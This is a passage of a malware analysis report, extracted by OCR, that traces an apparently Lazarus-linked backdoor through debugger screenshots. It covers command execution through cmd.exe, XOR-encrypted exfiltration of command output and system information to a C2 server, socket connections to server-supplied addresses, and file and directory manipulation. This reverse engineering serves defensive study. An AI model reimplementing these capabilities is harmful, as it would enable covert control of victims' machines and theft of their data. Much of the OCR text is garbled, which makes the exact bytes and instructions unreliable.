The FindFirstFileW API is utilized to search the current directory for a file name pushed as a parameter:

50 push eax ‘ X87SW_SF O X87SW_P 0 X87SW_U 0O

56 push esi aaa —

FF 15 BO 52 41 00 call dword ptr ds:[<&FindFirstFilews] v

e —— Default (stdcall) ~|[5 [2] ] unlock

1: [esp] 02569FD8 L"C:\\Users\|Jlf\\Desktop\\
2: [esp+4] 0310FD18
3: [esp+8] 00000000
4: [esp+C] FFFFFFFF

dword ptr [004152B0 <lazarus.&FindFirstFilew>]J=<kernel32.FindFirstFilew>

.Text:0040820C lazarus.exe: $820C #820C

02569FD8 | L"C:\\Users\' \Desktop\\test.txt"

@oumpt  Wypump2 UWDump3  @WDump4  WWDumps @ watch1  [x-llocals ) Struct 0310FDOC | 0310FD18
Figure 77

The process creates the new file mentioned above using the CreateFileW function:
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6A 00 push

68 80 00 00 00 push 80

6A 03 push 3

6A 00 push 0

6A 02 push 2

68 00 00 00 40 push .wummu

53 push eb

FF 15 48 53 41 00 call dword ptr ds:[<eCreateFilew>]

X8/1W_® 3 \EMPLY)  XS8/IW_/ 3 (EMPLY)
x87Statusword 0000

X87SW_B 0 x87SW_C3 0 x87sw_C2 0
X87SW_C1 O x87SW_CO 0O Xx87SW_ES 0O
X87SW_SF O X87SW_P 0 Xx87SW_U o

v
> | Defat (stdcal) - [ unlock
: [esp] 02569FD8 L"C:\\Users\' \Desktop\\

.text:00405A72 lazarus.exe:$5A72 #5A72

dword ptr [00415348 <lazarus.&CreateFilew>]=<kernel32.CreateFilew>

2: [esp+4] 40000000
3: [esp+8] 00000002
4: [esp+C] 00000000

0310FCC8

@45 Dump 1 @4 Dump 2 @4 Dump 3 @4 Dump 4 @4 Dump 5 @ Watch 1 [x=] Locals 4? Struct

Address | Hex ASCII A
02571FFO0 100! 00 00 00[00 00 00 00[00 00 00 00[00 00 00

02572000(00 00 00 00(00 00 00 00|00 00 00 00|00 00 00

02572010/ 00 00 00 00(00 00 00 00|00 00 00 00|00 00 00

a3c73n3nlnn an nn anlan an an anlan an an anlan an an

Figure 78

Four NULL bytes are written in the file created above:

6A 00 push 0

52 push edx

51 push ecx

8B 4C 24 24

51 push ecx
push eax

50
FF 15 94 53 41 00

mov ecx,dword ptr ss:|[fesp+24]

call dword ptr ds:[(«hﬁritefuo]

0310FCCC
0310FCDO
0310FCD4
0310FCD8
0310FCDC

x87Statusword 0000

X87SW_B O Xx87SW_C3 0 x87sw_C2 0
X87SW_C1 O X87SW_CO 0 X87SW_ES 0
X87SW_SF 0 X87SW_P 0 X87SW_U 0

v
3 |Defauit (stdcal) ~ (5 12]00 unoct
1: [esp] ODDOD1F4

a
dword ptr [00415394 <lazarus.&WwriteFile>]=<kernel32.writeFile>

.text: 00405857 lazarus.exe:$5B57 #5B57

esp+4] 02571FF0
esp+8] 00000004
esp+C] _0310FDO0

% Dump 1 @YDump2  §%Dump 3 @oump4 @ Dump5

@ watch 1

I=lLocals £ Struct

000001F4
0310FCDO | 02571FF0

| Asc1z

The GetTickCount and _

Address | Hex
02571FF0 |00/ 00 00 00[00 00 00 00[00 00 00 00|00 00 00 00[&........
asc7ananlnn nn an anlan an an nnlan an an anlan an an an

Figure 79

00000004
0310FDOO
00000000

0310FCDC

rand functions are used to generate eight pseudo-random low characters. The

binary moves the file from above to a new one (0x8 = MOVEFILE_WRITE_THROUGH):

6A 08 push 8

53 push ebx

57 push e

FF 15 FO 52 41 00 call cMord _ptr ds:[<@MoveFileExw>]

X87SW_C1 O x87SW_CO O x87SW_ES 0O
X87SW_SF O X87SW_P 0 Xx87SW_U o

€
[

.text: 00408197 lazarus.exe:$8197 #8197

dword ptr [004152F0 <lazarus.&WoveFileExw>]=<kernel32.MoveFileExw>

v
5 | Default (stdcal) < [ unloct
1: [esp] 025669E0 L"C:\\Users\ Desktop\\

2: [esp+4] 02560C40 L"C:\\Users \\Desktop
3: [esp+8] 00000008
4: [esp+C] FFFFFFA8

@4 Dump 1 @4 Dump 2 4% Dump 3 @4 Dump 4 49 Dump 5

@ watch 1

[x=] Locals 23’ Struct

025669E0 \Desktop\\test. txt"

\Desktop\\jfrkktvz"

Address | Hex lascTr

Figure 80

~ | 0310Fces

EAX = 17 — execute a Windows command and send the output to the C2 server

The %TEMP% directory is retrieved using the GetTempPathW routine:

50 push eax
push 104
mov dword ptr

68 04 01 00 00

C7 44 24 50 44 00 00 00
C7 44 24 7C 01 00 00 00
66 89 9C 24 80 00 00 0O
FF 15 28 53 41 00

.Text: 00408347 lazarus.exe: $8347 #8347

ss:[esp-su],H
ss:files 5

H | fp—:w] bx

ds [(&GetTempPath\b]

X5/3>LALUSWUIU UUUU
X87SW_B 0O x87SW_C3 0 x87sw_C2 0
4 X87SW_C1 O x87SW_CO O x87SW_ES 0O
X87SW_SF O X87SW_P 0 X87SW_U o

> 7| pefautt (stdcall) Y [ED Unloc
esp] 00000104

word ptr [00415328 <1azarus.&GetTempPathits1=<Kernel32.GetTempPathis

esp+4] 02566C00
esp+8] 02571FD8
esp+C] 00000000

4% Dump 1 @YDump2  @4%Dump 3 @YDump4 @4/ Dump 5

@ watch 1

Ie-llocals 57 Struct

Figure 81

The executable creates a new temporary file, which starts with "CM”, as shown in figure 82.
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v
Default (stdcall)

56 push esi X87SW_B 0O x87SW_C3 0 x87sw_C2 0
53 push ebx X87SW_CL1 O x87SW_CO O x87SW_ES O
68 08 28 41 00 push azarus.412808 4 X87SW_SF O X87SW_P 0 X87SW_U ]
51 push ecx €

FF 15 10 53 41 00 ca'l'l mord ptr ds [(&GetTempFﬂeNamehb]

.text:0040835D lazarus.exe:$835D #835D

dword ptr [00415310 <lazarus.&GetTempFileNamew>]=<kernel32.GetTempFileNamew>

3: [esp+8] 000D000O
4: [esp+C] 02571FF0

[J unlock
1: [esp] 02566C00 L"C: \\Users\ \AppData\\
>

esp+4] 00412808 L™

@4 Dump 1 @4 Dump 2 4% Dump 3 U4 Dump 4

@4 Dump 5

@ watch 1 ) Struct

lx=] Locals

/e

Address | Hex | AscII |
== R I R |

Figure 82

02566C00| L \\Users\-\\prata\\Loca'l\\Tunp\ L
0310FEDO | 00412808| L e
N ” 0310FED4 | 00000000
0310FEDS8 || 02571FF0

The malware executes a Windows command received from the C2 server and stores the output into the

temporary file created above:

e gf Sﬁgn iy X87TW_2 3 (Empty) x87TW_3 3 (Empty)
> 53 push ebx X87TW_4 3 (Empty) X87TW_5 3 (Empty)
PY 53 push ebx X87TW_6 3 (Empty) X87TW_7 3 (Empty)
. 68 00 00 00 08 push 8000000
. 53 push ebx x87Statusword 0000
L4 53 push ebx X87SW_B 0O x87SW_C3 0 x87sw_C2 0
° 53 push ebx X87SW_C1 O Xx87SW_CO O Xx87SW_ES O
. 55 push ebp X87SW_SF O X87SW_P O X87SW_U 0
L4 53 push el
] FF 15 20 53 41 00 call dnor'd ptr ds:[<&CreateProcessw>] v
. S ———"— 5 Default (stdcall) = EID Unloc
1: [esp] 00000000
dword ptr [00415320 <lazarus.&CreateProcessw>]=<kernel32.CreateProcessw> 2: [esp+4] 025669E0 L"cmd.exe /c systeminfo >
3: [esp+8] 00000000
4: [esp+C] 00000000
.text:0040839F lazarus.exe:$839F #839F

00000000

Woump1  @Ypump2  @Hpump3  @Hpump4  @Hpumps @ watth1  ellocals 2 Struct 0310FEBS || 025669E0( L"cmd. exe /c systeminfo > \"c:\\Users\{Jl]
0310FEBC | 00000000

Address | Hex * | 03120FECO | 00000000

025669E0 [63] 00 6D 00[64 00 2E 00[65 00 78 00[g5.00 20 00 TG0 0310Fec4 | 00000000

025669F0|2F 00 63 00|20 00 73 00|79 00 73 00|74 00 65 00 .t.e. 0310FECS | 08000000

02566400 2 >. . 0310FECC | 00000000

02566A10 65 00 72 00 SER 0310FEDO | 00000000

02566A20 41 00 70 00 -A.p. 0310FED4 || 0310FF24

02566A30 4C 00 6F 00 2L O 0310FEDS | 0310FF14

02566A40 6> 00 70 00 .m.p. ( 02571FD8

02566A50 42 00 2E 00 B ‘ 00000000

02566A60 | 7 3E 00 26 00 D> & ( 0310FF94

02566A70 00:00:00:00| 3= it ; et P

Figure 83

is utilized to read data from the above file and store it into memory:

53 push ebx X8/5TaTUSWOra UULL
51 push ecx X87SW_B O x87SW_C3 0 x87sw_C2 0O
68 00 40 00 00 push 4000 X87SW_C1 O Xx87SW_CO O x87SW_ES 0
57 push edi X87SW_SF O X87SW_P 0 Xx87SW_U 4]
52 push edx
FF 15 08 53 41 00 call Mrd ptr ds: [<@ReadFile>] v
3 | Default (stdcal) ~ [s_2] 0 unlod
Gword ptr [00415308 <lazarus.éReadriles]=<kernel3z.Readriles TS BT
3: [esp+8] 00004000
4: [esp+C] 0310FEFO
.Text:0040841E lazarus.exe:$841E #841E
@4 Dump 1 $%Dump2  §%Dump3 $Dump4 @ Dump 5 @ watch 1 [x=ILocals é Struct '0310FECC 02572223
e ASCIT ~ | 6310FeD4 | 0330rerD
02572220 00500200 00200500500 [ 00500500200 00700005 00 8- : 0310FEDS | 00000000
Address | Hex ASCIT
02572210 0D OA 48 6F |73 74 20 4E|61 6D 65 3A(20 20 20 20|L.Host Name:
02572220|20 20 20 20(20 20 20 20|20 20 20 20|20 44 45 53 ES
02572230| 4B 54 4F 50(2D 32 0D DA 4F 53|KTOP-2NEEEER..0S
02572240(20 4E 61 6D|65 3A 20 20|20 20 20 20|20 20 20 20| Name:
02572250(20 20 20 20(20 20 20 20|20 4D 69 63|72 6F 73 6F Microso
02572260( 66 74 20 57 (69 6E 64 6F|77 73 20 31|30 20 45 6E|ft windows 10 En
02572270(74 65 72 70|72 69 73 65(0D OA 4F 53|20 56 65 72|terprise..0S ver
02572280(73 69 6F G6E|3A 20 20 20|20 20 20 20|20 20 20 20|sion:
02572290(20 20 20 20|20 31 30 2E|30 2E 31 36(32 39 39 20 10.0.16299
025722A0( 4E 2F 41 20(42 75 69 6C|64 20 31 36|32 39 39 OD|N/A Build 16299.
025722BO| DA 4F 53 20(4D 61 6E 75|66 61 63 74|75 72 65 72 CIS Manufacturer
025722C0(3A 20 20 20|20 20 20 20|20 20 20 20(4D 69 63 72 Micr
025722D0 | 6F 73 6F 66|74 20 43 6F|72 70 6F 72|61 74 69 6F osoft corporatio
025722E0|6E 0D OA 4F|53 20 43 6F|6E 66 69 67(75 72 61 74|n..0S Configurat
025722F0( 69 6F 6E 3A(20 20 20 20|20 20 20 20|20 20 53 74 1on St
02572300( 61 6E 64 61(6C 6F G6E 65|20 57 6F 72|6B 73 74 61|andalone worksta
02572310(74 69 6F GE(OD OA 4F 53|20 42 75 69|6C 64 20 54|tion..0S Build T
0257232079 70 65 3A[20 20 20 20(20 20 20 20|20 20 20 20|ype:
02572330(20 4D 75 6C|74 69 70 72|6F 63 65 73|73 6F 72 20| Multiprocessor

Figure 84

The output of the Windows command is XOR-ed with a buffer that was used during multiple XOR operations
and exfiltrated to the C2 server:
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! 8A 88 01 01 00 00 mov c1,byte ptr ds:[eax+101]
! 8A 90 00 01 00 00 mov dl,byte ptr [eax+100]
! 8A 0C 01 mov c1,byte ptr [ecx+eax]
i 02 0C 02 add c1,byte ptr ds:[edx+eax]
| 81 E1 FF 00 00 00 and ecx,FF

FEF— 8A 14 01 mov dl,byte ptr ds:[ecx+eax]
1 ) 8A 04 3B mov al,byte ptr ds:[ebx+edi]
! 32 DO xor dl,al
! 88 17 mov byte ptr ds:[edi],dl
i 47 inc edi
i 4D dec ebp
i Seine o
i

di=4
byte ptr [ecx+eax*1]]=[02560778]=CD '1"

.Text:0040309A lazarus.exe: $309A #309A

4% Dump 1 84 Dump 2 @4 Dump 3 &4 Dump 4 8% Dump 5 @9 watch 1 [x=] Locals ,‘:’ Struct

Address | Hex ASCII
025606BB|FO 48 90 4B|A5 65 3D 2F |17 C3 49 97|38 0D 2B 87| 0H. K¥e=/. AI 8.+,
025606CB|CE 26 13 F9|E1l 85 E3 9D|C6 2C F4 A3 |53 60 92 D3|1&.ua.a.4£,6£5 .0
025606DB | 2D 93 EF 4A|46 CO 42 41|D6 12 1F EC|71 1A 86 BE .‘IJFABAD..'Iq..E
025606EB|3E 66 BF 75|36 OB 79 EB|C1 81 20 02|34 4C 91 A8 us .

025606FB | 80 D1 DA 561D 31 F5 3B|DE C8 B3 37|72 EE 3F 52 &V 10; DE'7r'I'7R
02560708 |B7 FC 89 8A|9E FB F1 E5|F3 AA C5 58|29 09 9F 73| -il...0Na6%AX)..s
0256071B|0A D2 94 11|63 F8 64 6C|A9 9C A2 F7 |4E FE 98 76 ..codl18. ¢=N|
02560728 |E8 82 04 16|35 B1 C2 61|74 62 DO 1B|59 OF F6 B4|&...5+Aathp.Y.6
0256073B| 6D 5D 70 D4|1C 55 84 8F|FA 44 18 7E|E2 FF 32 E7 ]pO.U..uD.~a 2¢C
02560748 | 6A 21 00 AO|2A 8D BD GB|D5 A4 BB 03|/C4 OE 30 9A '!. * }ikOli» A.0.
0256075B|ED A6 E4 B9|3C SE 01 39/8B CB AD 5C|68 33 E6 AB|1.a'<A.9.E. \h3!¢
02560768 |DB 96 D8 BA|8C 19 DC A7 |07 B8 50 DD |22 AE E9 6F 0 o° PY'

0256077B|CD 43 F2 D7 |95 4D 8E SA|BC CA 1E 27|BO 9B 25 28| ICox

s -
sno

0256078B |40 7A 7F C7|10 77 06 7D|DF B6 83 14|3A 57 7B 88|@z.C. }_ i
02560798 Al 23 78 D9|4F 47 S5F FD|AF OC 08 24|CF 45 CC 2E| j#X .« $IEI.
025607AB|EO 51 BS 5B|6E 99 15 C9|B2 69 54 EA|67 04 E1 AB|aQuln..E=iTég.a«
Figure 85
The binary kills the spawned process if it's still running:
s-\ 01 push 1 ° = g ‘ X87SW_SF 0 X87SW_P 0 X87SW_.U 0O
push edx s e
FF 15 40 53 41 00 cull (mord ptr ds: [«Termwnate?rocessﬂ v
e b 3 | Default (stdcal) ~ |[5_1£]00 unlod
5 - 1: [esp] O0D001F8
dword ptr [00415340 <lazarus.&TerminateProcess>]=<kernel32.TerminateProcess> 2: [esp+4] 00000001
3: [esp+8] 02571FDS8
4: [esp+C] 00000000
.Text:00408534 lazarus.exe:$8534 #8534 .

| Woump1  @Ypump2  @Ypump3  @pump4  @pumps @) watchi  Ix-llocals 2 Struct m
Figure 86

The temporary file is deleted by the malware:

push edx
call g\gofigtr ds:[<eDeleteFilew>]

52
FF 15 28 52 41 00

v
% Default(stdcall) ~|[s 2] uniod
1: [esp] 02571FF0 L c:\\Users\JJlJ\\AppData\\
esp+4] 02571FD8
esp+8] 00000000
4: [esp+C] 0310FF94

dword ptr [00415228 <lazarus.&DeleteFilew>]=<kernel32.DeleteFilew>

.text: 00408556 lazarus.exe:$8556 #8556 =
[ JUE T R B PO PO R~ e I e 02571FF0/ L"c:\\Users\ [l \\AppData\\Local\\Temp\ \CM89F8. tmp"

Figure 87

EAX = 18 — connect to a specific IP on a port received from the C2 server

The binary expects an argument such as “100.101.102.103:5555". It converts the port number from string
to integer:
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Figure 88

51 push ecx ‘[
FE—e E8 AF 37 00 00 €all lazarus.4094E7 —wtoi v
. e o Default (stdcall) ~ |[s_ 12100 unlod

1: [esp] 0310FEAD

Tazarus.004094€7 2: [esp+4] 02571FD8
3: [esp+8] 00000000
4: [esp+C] 0310FF94

.Text:00405D33 lazarus.exe:$5D33 #5D33

5 0310FEAD

84 Dump 1 @4 Dump 2 @49 Dump 3 §% Dump 4 @49 Dump 5 @ watch 1 [x=] Locals 2 Struct ) og?‘y’lﬁpg

Address | Hex |AscII ] 00000032

0310FEA0 [135700°35700135700°35" 00/00 00 10 03[C7 DO 53 B2[5.5L5.8.....CpS*|

The inet_addr function is used to transform the IP address into a proper address for the IN_ADDR structure

2 push edx = RS
FF 15 14 01 41 00 cn‘l'l dnord ptr ds:[<&inet_addr>]

dword ptr [00410114 <lazarus.&inet_addr>]=<ws2_32.inet_addr>

fzz=s = =
v

.text:00405D4C Tazarus.exe: $5D4C #5D4C

@4 Dump 2

5 | Default (stdcal) ~ (5 2] unodt
1: [esp] 0310FD74

2 esp+4] 02571FD8
3: [esp+8] 00000000
4: [esp+C] 0310FF94

@4 Dump 1 4% Dump 3 U4 Dump 4 49 Dump 5 @ watch 1

[x=] Locals :»’ Struct

Address 1 Hex | Asc1iz
0.

|
310FD74 |32 30 30 2E[31 30 31 2E[31 30 32 2E[31 30 33 00|200.101.102.103. |

Figure 89

A new socket is created by the executable (0x2
= IPPROTO_TCP):

GA 06 push 6
6A 01 push 1
GA

02
FF 15 C8 53 41 00

ca'll d\vord ptr ds:[<&socket>]
dword ptr [004153C8 <lazarus.&socket>]=<ws2_32.socket>

AF_INET, Ox1 =

SOCK_STREAM and 0x6

X87SW_C1 0O Xx87SW_CO O Xx87SW_ES O
X87SW_SF O X87SW_P 0 x87Sw_U 0
I

v
5 Default (stdcall)

.text:0040107D lazarus.exe:$107D #107D

4% Dump 1 @4 Dump 2

jd EI [ unlock

1: [esp] 00000002
2: [esp+4] 00000001
3: [esp+8] 00000006
4:

@4 Dump 3 4% Dump 4 @4 Dump 5
[addrace Tuav

@ Watch 1 [x=] Locals 2;’ Struct

laerTr i

Figure 90

The file enables the non-blocking mode for the socket using the ioctlsocket routine (0x8004667e
FIONBIO):

push eax

68 7E 66 04 80 push 8004667E

56 push esi

FF 15 F4 52 41 00 €all dword ptr ds:[<&ioctlsocket>]

dword ptr [004152F4 <lazarus.&ioctlsocket>]=<ws2_32.7octlsocket>

esp+C] 67666564
00000002
0310FCIC || 00000001
~l0310Fc20 | 00000006

.Text:004010A1 Tazarus.exe: $10A1 #10A1l

X87SW_C1 O Xx87SW_CO O x87SW_ES 0O
X87SW_SF O X87SW_P 0 X87SW_U o
I

v

5 | Default (stdcal) v |[5 ] unlodt

1: [esp] 000001
2: [esp+4] 8004667E
3: [esp+8] 0310FC28
4: [esp+C] 67666564

849 Dump 1 @45 Dump 2 @49 Dump 3 ©4 Dump 4 4% Dump 5 @ watch 1 [x=] Locals

7 struct

0000011C

Address | Hex
0.

| Asc11
310FC28 [0X] 00 00 00[30 6A 05 77[67 DA 4E C6|FE FF FF FF|

0310FCIC || 8004667E

.. PJ.waUNEDYYY |

Figure 91
A new connection to the socket is established by the malware:
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X87SW_ES O

0 X87SW_U o

Y. [E [ Unlodk

3: [esp+8] 00000010
4: [esp+C] 67666564

6A 10 push 10’ X87SW_C1 O Xx87SW_C0 0O
51 push ecx X87SW_SF O X87SW_P
56 push esi i
FF 15 00 53 41 00 ca11 dword ptr ds.[(&connect)] v
S et O T T TS Toolesmmeens s Default (stdcall)
= 1: [esp] 0000011C
dword ptr [00415300 <lazarus.&connect>]=<ws2_32.connect> 2: [esp+4] 0310FD3C

.Text: 00401087 lazarus.exe: $10B7 #10B7

5 0000011C

Wyoump1  @Ypump2 @Mpump3 @hpumps WHoumps @ watch1  Ix=llocals 4 Struct 0S10FCIC | 0310FD3C
Address | Hex | Asc1I l 03108 67666564
0310FD3C [02" 00 15 B3][64 65 66 67|00 00 00 00[00 00 00 00[&..*defg........ | AnAnnANT

Figure 92

The TCP linger is set to 1 using the setsockopt API (0xffff = SOL_SOCKET and 0x80 = SO_LINGER), as

shown in figure 93.

XS/ 1w > 3 LEmMpLY)
X87TW_7 3 (Empty)

X87SW_C2 O
X87SW_ES O

0 x87Sw_U 0

~ |[5_[2] ] unlod

Figure 93

i : XS/ iW_% 3 \EmMpLY)
g; 2 SSER édx x87TW_6 3 (Empty)
i 68 80 00 00 00 push 80
' 68 FF FF 00 00 push FFFF x87Statusword 0000
| 50 push eax X87SW_B 0 Xx87SW_C3 0
| 66 C7 44 24 18 01 00 mov word ptr ss:[fesp+18],1 X87SW_C1 O Xx87SW_C0 O
! 66 C7 44 24 1A 00 00 mov word ptr s esp+1A§,0 X87SW_SF O X87SW_P
! 89 4E 14 mov dword ptr d [eﬂ 14],ec:
E—:—) FF 15 1C 52 41 00 call dword ptr [<&setsockopt>] v
| e e e 5 Default (stdcall)
= 1: [es] 0000011C
dword ptr [0041521C <lazarus.&setsockopt>]=<ws2_32.setsockopt> 2: esg}us] 0000FFEE
3: [esp+8] 00000080
4: [esp+C] 0310FD30
.Text: 00403183 lazarus.exe:$3183 #3183
) 0000011C
@4 Dump 1 45 Dump 2 @4 Dump 3 §49 Dump 4 @4 Dump 5 @ watch 1 [x=] Locals ;5) Struct 0310FD1C | 000OFFFF
Address | Hex | AscIz | ~ 8318:33 gggggggg
0310FD30 M 00 00 00[38-10.40 Q0[A4 FF FF FF[30 FF FF FFM, .. X.C.RyyY.V¥Y| 0310FD28| 00000004

EAX = 24 — encrypt the C2 IP addresses using the XOR operator and send the result to the C2 server

The buffer that contains the C2 IP addresses and the port number is encrypted with the XOR operation:

6A 00 push 0 X8/5TaTUSWOra UULL
83 C2 05 add edx,:» X87SW_B 0 Xx87SW_C3
51 push ecx X87SW_C1 O x87SW_CO
8B 4D 0OC mov ecx,dword ptr ss:[febp+C] X87SW_SF O X87SW_P
52 push edx

0 x87sw_C2 O

0  X87SW_U o

E8 BO FA FF FF €all lazarus. 403010

v
Default (stdcall)

esp] 0255C63D

esp+4] 00000164
esp+8] 00000000
esp+C] 02571FD8

lazarus.00403010

.text: 00403558 lazarus.exe:$3558 #3558

Wyoump1  @Ypump2 UWpump3 Uhpump4 WHDumps @ watch1  Ix-llocals 4 Struct

Address | Hex AIII gggggggg
0255C63D |90 _FF FF FF|[02 00 00 00§00 00 01 BB _D D4 84 DE »»}_O.D 00000000
0255C64D |00 00 00 00|00 00 0O 00 > d%e 2A0EESY

Figure 94

The encrypted content is transmitted to the C2 server via a send function call:

0 x87sw_C2 0
0 X87SW_ES 0
0 x87Sw_U o

~ |[5 2] 0] unlod

6A 00 push 0 X8/5TaTUSWOra LULL
8D 0C 2E lea ecx,dword ptr ds:[esi+ebp] X87SW_B 0 x87SW_C3
50 push eax X87SW_C1 0 x87SW_CO
gi pusz egx X87SW_SF 0 X87SW_P
2 push edx
FF 15 20 52 41 00 call mord ptr ds:[<&send>] v
e R T o2 Default(srdcall)
dword ptr [00415220 <lazarus.&send>]=<ws2_32.send> 22,‘;14 0255C638
esp+8] 00000169
esp+C] 00000000
.text: 00403387 lazarus.exe:$3387 #3387 L
000001,
WWoump1 @hpump2 WWpump3 @Mpump4  WWpumps @ watch1  [x=lLlocals 2 struct 0310FEFS 0255555
Address | Hex | AscIT | W e e
0255C638 | 17 1 5( LR -AO(7 | 0255C7AL
0255C648| 07 : 7 + Ana1£0a0 | Tamarne nnsicoas

Figure 95
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EAX = 27 — move an existing directory provided by the C2 server to the Desktop directory

The FindFirstFileW function is used to search the current directory for a subdirectory pushed as a parameter,

as shown in figure 96.

50 push eax

push ebp
€all dword ptr ds:[<&FindFirstFilew>]

55
FF 15 BO 52 41 00

|X57SW_SF 0 X87SW_P 0 X87SW_U o

L
dword ptr [004152B0 <lazarus.&FindFirstfFilew>]=<kernel32.FindFirstFilew>

.text:0040552E lazarus.exe:$552E #552E

v
, | Defaut (stdcal) - [ unlod
1: [esp] 02569FD8 L"C:\\Users\ \Desktop\\

2: [esp+4] 0310FD18
3: [esp+8] 02571FD8
4: [esp+C] 00000000

84 Dump 1 @Y Dump2 @4 Dump3 WY Dump4 Y% Dump 5 @ watch1  Ix=ILocals :,’ Struct
Figure 96
The process tries to move the above directory

MOVEFILE_WRITE_THROUGH):

GA 08 push 8
57 push edi
push ebp

55
FF 15 34 00 41 00 call Mrd _ptr ds:[<&MoveFileExw>]

02569FD8| L"C:\\Users\ \Desktop\\Test2"
0310FDOO || 0310FD18
to the Desktop folder (0x8 =

X87SW_C1 O Xx87SW_CO O Xx87SW_ES 0
X87SW_SF O X87SW_P 0 x87Sw_U o

I
v
Default (stdcall) S

E’ [J unlock

dword ptr [00410034 <lazarus.&MoveFileExw>]=<kernel32.MoveFileExw>

.text:004055FB lazarus.exe:$55FB #55FB

1: [esp] 02569FD8 L"C:\\Users\|
2: [esp+4] 02566C00 L"C:\\Users\
3: [esp+8] 00000008

4: [esp+C] 02571FD8

Desktop\\
\\Desktop

@4 Dump 1 4% Dump 2 @4 Dump 3 4% Dump 4 @4 Dump 5 9 watch 1 [x=] Locals ;;’ Struct

[AAdrace Tuav lacrrr 1

Figure 97

02569FD8 | L"C:\\Users\ \Desktop\\Test2"
0310FCFC | 02566C00 | L"C:\\Users)\| \Desktop\\"
. 10310FD0O0 | 00000008

EAX = 28 — traverse an existing directory or extract the drive type and the amount of free space on the

disk

Whether the parameter provided by the server is a folder name, then the process traverses the directory
using the FindFirstFileW and FindNextFileW APIs and send the status (an encrypted buffer) to the C2 server:

51 push ecx
push ebx

€all dword ptr ds:[<&FindFirstrilew>]

53
FF 15 BO 52 41 00

‘ X87SW_SF 0 X87SW_P
(C
v

Default (stdcall) v [s_2] [0 unlod
1: [esp] 025669E0 L"C:\\Users\ | \Desktop\\

0 X87SW_U o

dword btr [004152B0 <lazarus.&FindFirstFilew>]J=<kernel32.FindFirstFilew>

.Text:004057A1 lazarus.exe:$57A1 #57AL1

2: [esp+4] 0310FAS88
3: [esp+8] 0310FD18
4: [esp+c] 02569FD8 L"C:\\Users\{Ill\\Desktop

444 pump 1 @9 watch 1 2 struct
push edx
push eax

call Mrd ptr ds: [<@FindNextFilew>]

@4 Dump 2 4% Dump 3 @45 Dump 4 8% Dump 5 [x=] Locals
®| o C 52

50
FF 15 A4 52 41 00

E025669E0 L"C:\\USers\
0310FAGC E0310FASS
| x87sw_sF 0 x87sw_p

[
¥ | Defauit (stdcal)

\Desktop\\Test\\*.*"
0  X87SW_U o

& E] [ unloct

1 [esp] 02566E20

dword ptr [004152A4 <lazarus.&FindNextFilew>]=<kernel32.FindNextFilew>

.Text:0040584E lazarus.exe: $584E #584E

: [esp+4] 0310FASS8
: [esp+8] 0310FD18
: [esp+C] 02569FD8 L"C:\\Users\\Jlll\\Desktop

Bwn

@oumpt  Wypump2 UDump3  @WDump4  WWpumps @ watch1  [x-llocals 4 Struct

Figure 98

E02566E20
0310FAGC E0310FASS

Whether the parameter provided by the server is a disk drive, the file retrieves the drive type using the

GetDriveTypeW routine, as shown in figure 99.
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56 push es =z = e | — —
FF 15 D4 52 41 00 cn'l'l dword ptr ds [<&GetDr1veTypew>] v I
T Default (stdcall) ~|[5_[£]00 uniod

1: [esp] 02569FD8 L"C:\\"

2: [esp+4] 02569FD8 L"C:\\"

3: [esp+8] 0040592E lazarus.0040592E
4: [esp+C] 02569FD8 L"C:\\"

dword ptr [004152D4 <lazarus.&GetDriveTypeW>]=<kernel32.GetDriveTypew>

.text: 00405896 lazarus.exe:$5896 #5896

PP T (- e o e [ (S [ Cera] e R RIS 02565708 | L7C:\\ "
Figure 99

The binary gets the total amount of space and the total amount of free space that is available on the “C:\"
drive:

50 push eax X87SW_B O Xx87SW_C3 0 x87sw_C2 0
51 push ecx X87SW_C1 O Xx87SW_CO O Xx87SW_ES 0O
6A 00 push ” X87SW_SF O X87SW_P 0 Xx87SW_U (1]
56 push e €

FF 15 38 52 41 00 call dword ptr ds:[<&GetDiskFreeSpaceExw>]

v
------- 3 | Defaut (stdcal) ~ |[s_1£]00 unlod

= = 1: [esp] 02569FD8 L"C:\\"
dword ptr [00415238 <lazarus.&GetDiskFreeSpaceExw>]=<kernel32.GetDiskFreeSpaceExw> . 2 W

2: [esp+4] 00000000
3: [esp+8] 0310FDOS
4: [esp+C] 0310FD10

.Text:004058AD lazarus.exe: $58AD #58AD
Woump1  @Yoump2 @Wpump3 @Dump4  @Wpumps @ watch1  Ix-lLocals 2 struct 0310FCES m
0310FCBC | 0310FD0S

N <7~ ! ~ | 5316Fcco| 0310010

The case number and the drive type, along with the amount of space and the amount of free space, are
encrypted using the XOR operator and send to the C2 server:

e

GA 00 push 0 x87Statusword 0000
83 C2 05 add edx,5 X87SW_B O Xx87SW_C3 0 x87sw_C2 0
51 push ecx X87SW_C1 O Xx87SW_CO O Xx87SW_ES 0O
8B 4D 0OC mov ecx,dword ptr ss:[febp+C]) X87SW_SF O x87SW_P 0 Xx87SW_U 0
52 pug[’l\ idx .
E8 BO FA FF FF ca azarus. 403010 v
e R : c;efault(st;ica;nzsscsm v |[5 2]0] unloct
es
lazarus.00403010 23 esg+4] 0000001C
3: [esp+8] 00000000
4: [esp+C] 0310FD18
.Text: 00403558 lazarus.exe:$355B #3558

@4 Dump 1 @4 Dump 2 4 Dump 3 @4 Dump 4 @4 Dump 5 @ Watch 1 [x=] Locals :;’ Struct
Address | Hex | Asc1I |
0255C63D |54 FF 00 00 00 00][00_00 00 O BNV e raia P.a
0255C64D [ 12 00 000 A_98| 00 00 \00 00 00 00|.,,,.; .........

Figure 101

EAX = 31 — extract the current directory name and send it to the C2 server

~|0310Fcac

The binary retrieves the current directory using the GetCurrentDirectoryW routine:

50 push eax R | X87SW_SF 0 x87SW_P 0 xX87SW.U 0

68 04 01 00 00 push 104

FF 15 30 00 41 00 call dword ptr ds: [<&GetCurrentDirectoryw>] v

e ———™ 3 | Default (stdcal) v [s_2] 0 unlod

1: [esp] 00000104

2: [esp+4] 0310FD64
3: [esp+8] 00000000
4: [esp+C] 00000000

dword ptr [00410030 <lazarus.&GetCurrentDirectoryw>]=<kernel32.GetCurrentDirectoryw>

.Text: 00405200 lazarus.exe:$52D0 #52D0

WWoumpt @Ypump2  WYoump3  @Mpump4  WWoumps @ watch1  Ix=lLocals :»’ Struct %ﬁg: |

Figure 102

The case number and the directory name are encrypted using XOR operation and transmitted to the C2
server, as shown in the figure below.
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6A 00 push 0 X8/5TaTUSWOra UULU

83 C2 05 add edx,5 X87SW_B O Xx87SW_C3 0 x87sw_C2 0
51 push ec X87SW_C1 O x87SW_CO O Xx87SW_ES 0O
